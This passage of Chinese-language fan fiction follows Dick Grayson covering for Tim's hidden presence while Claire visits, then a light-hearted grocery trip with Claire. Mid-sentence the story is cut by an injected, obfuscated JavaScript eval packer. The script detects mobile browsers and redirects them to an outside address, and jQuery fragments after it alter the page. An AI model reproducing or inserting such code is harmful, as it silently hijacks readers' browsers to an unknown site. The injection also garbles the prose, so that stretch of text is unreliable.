间里关着灯，卧室的门半掩着，克莱尔一眼扫过，只看到乱糟糟的被褥。
“我记得我起床的时候叠了被子。”
迪克强撑镇定，“你走以后，我又上床歇了一会儿。”
“你真够松弛的。”克莱尔狐疑道，“你不会是睡过头了吧？”
迪克走去厨房，路过卧室时佯装不经意地合上门，拉开冰箱，“咖啡还是茶？”
克莱尔在沙发上坐下，“果汁。”
与她离开前相比，餐边柜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050719|162798||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上多出来一个用过的玻璃杯，里面有半杯水。
冰箱后冒出迪克尴尬的半张脸，“我忘了，我昨晚清空了家里所有食物储备。”
他心虚地接了一杯水龙头的直饮水，往里扔了几块冰，试图让它显得精致点。
克莱尔品着伟大的格雷森亲手接的直饮水，慢慢道：“你家里还有什么？”
“有一个愿意做晚饭补偿的好厨师，”迪克费尽心思给提姆争取逃跑的时间，“你和我一起去超市，亲自挑选晚餐食材，怎么样？”
克莱尔放下杯子，“这是一个邀请？”
“这是一个邀请。”
沙发都没坐热，克莱尔起身，“先说好，别想用鸟食糊弄我。”
迪克抱怨道：“我们能不能跳过‘鸟食’的话题？”
“不能，我永远不会说腻的。”克莱尔道。
门关上，二人的交谈声逐渐远去，直到听不见人声，卧室的门缝里睁开一双机敏的眼睛。
提姆探头，见屋内无人，大吁一口气。
他急忙扯出自己扫进床底的制服和披风，乱七八糟地塞进制服盒里，又贴心地洗干净自己喝水的玻璃杯。
一只无辜的小鸟在布鲁德海文失去了落脚点。提姆幽怨地翻出手机，“我应该在这里有一间自己的安全屋。”
超市里的两人听不到男孩的抱怨。克莱尔严肃地举起两块几乎一模一样的牛排，尝试分辨出更大的那一块。
迪克把两块牛排都扫进推车里，“都买，我周末会自己做饭。”
“我不是不信任你的厨艺，”克莱尔一边说着，一边往推车里放成盒的香肠和贝果，“我只是觉得你用谷物圈敷衍自己的可能性更大。”
“假如我食言，食物会用腐败的方式来惩罚我。”迪克道，“你能不能买点蔬菜？”
克莱尔抬手把迪克放进来的胡萝卜和西兰花挑了出去。她满嘴胡言乱语，“牛和羊会吃蔬菜，我吃它们，等于我吃了蔬菜。”
迪克把胡萝卜和西兰花抓回来，“谢谢你为肉食动物发表的歪理邪说，不做饭的人没有买菜权。”
克莱尔不动声色地按住他的手，“一个。”
迪克心硬如铁，“两个。”
“胡萝卜换蘑菇。”
“可以，成交。”胡萝卜被扔到最远的货架上，蘑菇被迎进西兰花旁边的座位。
“你不吃胡萝卜吗？”迪克问道。
克莱尔礼貌道：“我只在不得不吃的情况下吃胡萝卜。”
可想而知，“不得不”是少数情况。
他们购买了一周的食材和零食，克莱尔发现超市里有卖吸顶灯灯罩。她蹲在货架前，研究了一会儿，遗憾道：“和你卧室的灯型号不匹配。”
“等下次再换吧。”迪克说。
他心底咕噜咕噜冒出热腾腾的蒸汽与泡泡，好像有一个小人在他心底泡着泡泡浴，洗落了白天的不愉快与焦躁，脸颊蒸成柔软的红色。
这一切太美好了，他怀疑自己从未与克莱尔分手，冷战的半个月只是幻觉。
两人一人抱着一个大大的纸袋，回到迪克家里。
迪克先挤进门，开灯。
卧室的灯熄着，提姆应该走了。
他将纸袋放在冰箱边，向克莱尔问：“咖啡还是茶？”
“果汁。”克莱尔跟着走进厨房。
她注意到，餐边柜上的水杯不见了。厨房的餐具收纳台上多出来一个玻璃杯，杯壁上挂着没擦干的水珠。